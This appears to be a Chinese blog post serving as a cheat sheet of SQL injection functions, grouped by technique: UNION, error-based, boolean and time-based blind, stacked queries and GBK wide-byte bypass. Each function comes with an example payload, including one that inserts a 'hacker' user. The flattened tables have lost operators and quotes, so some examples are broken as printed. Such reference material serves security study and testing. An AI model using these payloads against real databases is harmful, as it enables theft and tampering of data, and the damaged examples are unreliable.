SQL 注入所需函数详解——按注入方式分类

发布时间:2026/7/31 15:00:21
SQL 注入所需函数详解——按注入方式分类 新人博客已发布文章会持续更新有短缺请见谅会尽快补齐欢迎评论区提出谢谢一、联合查询注入UNION 注入联合查询注入是最常见的注入方式核心是使用UNION SELECT将攻击者构造的查询结果拼接到原查询结果中。1.1 核心函数函数用途示例UNION SELECT合并两个查询结果集UNION SELECT 1,2,3ORDER BY判断原查询的字段数ORDER BY 1--LIMIT限制返回行数LIMIT 0,1GROUP_CONCAT()将多行结果拼接成一行MySQLSELECT GROUP_CONCAT(table_name)CONCAT()拼接字符串SELECT CONCAT(username,0x3a,password)CONCAT_WS()使用分隔符拼接字符串SELECT CONCAT_WS(~,a,b)DATABASE()获取当前数据库名UNION SELECT DATABASE()USER()获取当前用户UNION SELECT USER()VERSION()获取数据库版本UNION SELECT VERSION()二、报错注入报错注入利用数据库错误信息回显敏感数据适用于页面有错误回显但无正常回显位的场景。2.1 MySQL 报错函数函数用途示例updatexml()XML 文档更新函数参数错误时报错泄密updatexml(1,concat(0x7e,database()),1)extractvalue()XML 值提取函数语法错误时报错extractvalue(1,concat(0x7e,(SELECT table_name)))floor()向下取整 group by 产生主键冲突报错SELECT count(*),CONCAT(database(),floor(rand(0)*2))x FROM users GROUP BY xexp()指数函数参数过大时报错exp(~(SELECT * FROM (SELECT user())a))NAME_CONST()重复列名导致报错SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1))xBIGINT 溢出利用 ~0 与子查询拼接产生大数据溢出报错SELECT !(SELECT * FROM (SELECT user())x)-~02.2 SQL Server 报错函数函数用途示例convert()类型转换将查询结果转为 int 报错convert(int,version)CTXSYS.DRITHSX.SN()Oracle 报错注入函数CTXSYS.DRITHSX.SN(user,(SELECT banner FROM v$version))三、布尔盲注页面没有回显和报错但根据 SQL 语句正确与否会返回不同页面状态时使用布尔盲注。3.1 核心函数函数用途示例substr()截取字符串MySQLsubstr(database(),1,1)substring()截取字符串通用substring((SELECT table_name),1,1)mid()截取字符串MySQLmid(database(),1,1)left()从左侧截取 n 个字符left(database(),1)right()从右侧截取 n 个字符right(database(),1)ascii()返回字符的 ASCII 值ascii(substr(database(),1,1))ord()等同于 ascii()ord(substr(database(),1,1))length()返回字符串长度length(database())if()三目条件判断if(11,sleep(1),0)strcmp()字符串比较strcmp(left(database(),1),a)四、时间盲注页面没有任何回显差异时通过延时函数判断注入结果。4.1 核心函数函数适用数据库示例sleep()MySQLSELECT if(ascii(substr(database(),1,1))100,sleep(3),0)benchmark()MySQLSELECT benchmark(50000000,md5(test))WAITFOR DELAYSQL ServerWAITFOR DELAY 0:0:3DBMS_LOCK.SLEEP()OracleDBMS_LOCK.SLEEP(3)pg_sleep()PostgreSQLSELECT pg_sleep(3)GET_LOCK()MySQLSELECT GET_LOCK(a,3)heavy query通用SELECT count(*) FROM information_schema.columns A, information_schema.columns B五、堆叠注入支持一次执行多条 SQL 语句时可以使用堆叠注入。5.1 核心函数函数 / 语法用途示例;语句分隔符执行多条 SQL1;INSERT INTO users VALUES(hacker,pass);--HANDLERMySQL 中直接读取表数据无需 SELECT 权限HANDLER table_name OPEN; HANDLER table_name READ FIRST;PREPARE准备语句动态执行 SQLSET sqlCONCAT(SEL,ECT user());PREPARE st FROM sql;EXECUTE st;六、宽字节注入当数据库编码为 GBK 时利用反斜杠\与后续字符组合成 GBK 汉字绕开转义。6.1 核心函数函数用途示例%df结合\形成 GBK 汉字吃掉转义符?id1%df UNION SELECT 1,2,3--SET NAMES设置字符集理解宽字节成因SET NAMES gbk